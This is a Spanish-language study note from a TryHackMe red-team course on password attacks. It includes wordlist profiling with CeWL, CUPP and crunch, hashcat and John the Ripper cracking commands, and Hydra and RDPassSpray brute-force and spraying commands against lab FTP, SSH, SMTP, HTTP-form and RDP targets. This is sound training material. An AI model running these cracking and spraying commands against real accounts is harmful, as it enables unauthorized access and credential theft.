Ataques a contraseñas
Los ataques de contraseña son técnicas para descubrir credenciales válidas, bien offline (sobre hashes obtenidos de un sistema comprometido) o online (contra servicios de red en tiempo…
Definición
Los ataques de contraseña son técnicas para descubrir credenciales válidas, bien offline (sobre hashes obtenidos de un sistema comprometido) o online (contra servicios de red en tiempo real). Son fundamentales en fases de acceso inicial y movimiento lateral en un red team engagement.
Contexto
- Una contraseña segura debe tener ≥8 caracteres, mezcla de mayúsculas, minúsculas, números y símbolos, y no debe aparecer en diccionarios públicos.
- Los ataques online generan logs y pueden bloquear cuentas; los offline son más silenciosos pero requieren acceso previo a los hashes.
- Esta nota es parte del Red Team Path (TryHackMe).
Tipos de ataques
| Tipo | Descripción | Herramientas |
|---|---|---|
| Dictionary | Prueba palabras de un wordlist | hashcat, John |
| Brute-force | Prueba todas las combinaciones posibles | hashcat, John |
| Rule-based (Hybrid) | Aplica mutaciones a un wordlist | John the Ripper |
| Password Spraying | Una contraseña contra muchos usuarios | Hydra, RDPassSpray |
| Guessing | Contraseñas por defecto o contextuales | Manual, listas |
Generación de Wordlists (Password Profiling)
Contraseñas por defecto
Muchos dispositivos (routers, switches, Tomcat, etc.) tienen contraseñas de fábrica. Probar primero antes de ataques complejos.
Recursos:
- https://cirt.net/passwords
- https://default-password.info/
- https://datarecovery.com/rd/default-passwords/
Wordlists conocidas
- SecLists (
/usr/share/wordlists/): colección amplia de passwords, usuarios, etc. - RockYou (
/usr/share/wordlists/rockyou.txt): clásico, +14M contraseñas. - SecLists Leaked DBs: https://github.com/danielmiessler/SecLists/tree/master/Passwords/Leaked-Databases
Combinar y limpiar wordlists
# Combinar múltiples listascat file1.txt file2.txt file3.txt > combined_list.txt
# Eliminar duplicadossort combined_list.txt | uniq -u > cleaned_combined_list.txtCeWL — Wordlist personalizada desde sitio web
CeWL crawlea un sitio web y extrae palabras/keywords relevantes para el target.
cewl -w list.txt -d 5 -m 5 http://thm.labs# -w → archivo de salida# -m 5 → mínimo 5 caracteres# -d 5 → profundidad de crawling (default 2)
# Ejemplo real (mínimo 8 chars)cewl -m 8 -w clinic.lst https://clinic.thmredteam.com/username_generator — Generar variantes de usuario
git clone https://github.com/therodri2/username_generator.gitecho "John Smith" > users.lstpython3 username_generator.py -w users.lst# → john, smith, j.smith, j-smith, jsmith, smithjohn, ...Técnica de Keyspace — crunch
crunch genera wordlists exhaustivas basadas en longitud y charset.
# Todas las combinaciones de 2 chars con 0-4 y a-dcrunch 2 2 01234abcd -o crunch.txt
# Contraseña que empieza con "pass" y termina con 2 dígitoscrunch 6 6 -t pass%%# → pass00, pass01, ..., pass99
# Wildcards:# @ = minúsculas , = mayúsculas % = dígitos ^ = especiales+espacio⚠️ crunch 8 8 0123456789abcdefABCDEF genera ~459 GB y 54.8B palabras.
CUPP — Common User Passwords Profiler
CUPP genera wordlists personalizadas basadas en información del target (nombre, fechas, mascotas, empresa…). Soporta modo leet (a→4, i→1, etc.).
git clone https://github.com/Mebus/cupp.gitpython3 cupp.py -i # modo interactivo (introduce datos del target)python3 cupp.py -l # descargar wordlists por idioma/categoríapython3 cupp.py -a # contraseñas/usuarios por defecto de Alecto DBAtaques Offline
Dictionary Attack con hashcat
# Identificar tipo de hash primero: hashid o hash-identifierhashcat -a 0 -m 0 f806fc5a2a0d5ba2471600758452799c /usr/share/wordlists/rockyou.txt# -a 0 = modo diccionario# -m 0 = MD5 (ver hashcat -h para todos los tipos)
# Ver contraseña crackeadahashcat -a 0 -m 0 <hash> /usr/share/wordlists/rockyou.txt --showBrute-Force Attack con hashcat
# Charsets disponibles: ?l=minús ?u=mayús ?d=dígitos ?s=especiales ?a=todoshashcat -a 3 ?d?d?d?d --stdout # generar 4 dígitoshashcat -a 3 -m 0 <MD5_hash> ?d?d?d?d # crackear PIN de 4 dígitos# -a 3 = modo brute-forceRule-Based Attack con John the Ripper
Las reglas aplican transformaciones (capitalizar, añadir números, sustituir letras por símbolos) a un wordlist.
# Listar reglas disponiblescat /etc/john/john.conf | grep "List.Rules:" | cut -d"." -f3 | cut -d":" -f2 | cut -d"]" -f1 | awk NF
# Aplicar regla best64 a un wordlist (expande 1 → 76 palabras)john --wordlist=/tmp/single-password-list.txt --rules=best64 --stdout | wc -l
# KoreLogic — regla avanzada (genera variantes complejas)john --wordlist=single-password-list.txt --rules=KoreLogic --stdout | grep "Tryh@ckm3"Crear regla personalizada en /etc/john/john.conf:
[List.Rules:THM-Password-Attacks]Az"[0-9]" ^[!@#$]# Az = toma cada palabra del wordlist# "[0-9]" = añade dígito al final# ^[!@#$] = añade símbolo especial al inicioecho "password" > /tmp/single.lstjohn --wordlist=/tmp/single.lst --rules=THM-Password-Attacks --stdout# → !password0, @password0, #password0, $password0Ataques Online con Hydra
Ver THC Hydra para referencia completa. Ejemplos del módulo TryHackMe:
# FTPhydra -l ftp -P passlist.txt ftp://10.10.x.x
# SMTPhydra -l email@company.xyz -P /path/wordlist.txt smtp://10.10.x.x -v
# SSHhydra -L users.lst -P /path/wordlist.txt ssh://10.10.x.x -v
# HTTP-GET formhydra -l admin -P 500-worst-passwords.txt 10.10.x.x \ http-get-form "/login-get/index.php:username=^USER^&password=^PASS^:S=logout.php" -f
# HTTP-POST form (similar, cambiar a http-post-form)# S=<texto_en_pagina_exitosa> F=<texto_en_pagina_fallida>Password Spraying
Spraying: una contraseña común contra muchos usuarios → evita bloqueos por intentos fallidos por cuenta.
Contraseñas comunes por patrón:
Fall2020,Spring2021(temporada+año)November2020,March2021(mes+año)TryHackMe01,TryHackMe02(empresa+número)- Con símbolo:
October2021!,Spring2021@
SSH Spraying con Hydra
hydra -L usernames-list.txt -p Spring2021 ssh://10.1.1.10RDP Spraying con RDPassSpray
# Un usuario, una contraseñapython3 RDPassSpray.py -u victim -p Spring2021! -t 10.100.10.240:3026
# Lista de usuarios, una contraseña, dominio ADpython3 RDPassSpray.py -U usernames-list.txt -p Spring2021! -d THM-labs -T RDP_servers.txtOWA / Exchange Spraying
- SprayingToolkit (atomizer.py)
- MailSniper
SMB Spraying
Metasploit: auxiliary/scanner/smb/smb_loginPitfalls / Errores comunes
- Iniciar brute-force sin probar contraseñas por defecto primero.
- Generar wordlists enormes sin filtrar por política de contraseñas del target (longitud mínima, caracteres obligatorios).
- Ejecutar spraying sin throttling → bloqueo de cuentas y alertas SOC.
- Confundir
-l(usuario único) con-L(lista de usuarios) en Hydra. - Usar hashcat con
-m 0para hashes que no son MD5 → identificar el tipo primero conhash-identifier.
Integración con otras notas
- Herramienta de ataques online: THC Hydra
- Contexto Red Team: Red Team Fundamentals, Red Team Engagement Planning
- Técnica de phishing para obtener credenciales: Phishing (THM)
- Gestión de sesiones y autenticación: Gestion de sesiones (Session Management), Autenticacion multifactor (MFA)
- MITRE: T1110 (Brute Force), T1078 (Valid Accounts)
Diagrama
flowchart TD
A[Objetivo: Credenciales válidas] --> B{Modo}
B --> C[Offline: hashes obtenidos]
B --> D[Online: servicios de red]
C --> E[hashcat dictionary]
C --> F[hashcat brute-force]
C --> G[John rule-based]
D --> H[Hydra: FTP/SSH/SMTP/HTTP]
D --> I[Spraying: RDP/OWA/SMB]
E & F & G --> J[Contraseña en claro]
H & I --> J
J --> K[Acceso + movimiento lateral]
Referencias
- TryHackMe — Password Attacks: https://tryhackme.com/room/passwordattacks
- SecLists (GitHub): https://github.com/danielmiessler/SecLists
- CUPP (GitHub): https://github.com/Mebus/cupp
- Username Generator (GitHub): https://github.com/therodri2/username_generator
- THC Hydra (GitHub): https://github.com/vanhauser-thc/thc-hydra
- RDPassSpray (GitHub): https://github.com/xFreed0m/RDPassSpray
- KoreLogic Rules: https://contest-2010.korelogic.com/rules.html
- MITRE T1110 (Brute Force): https://attack.mitre.org/techniques/T1110/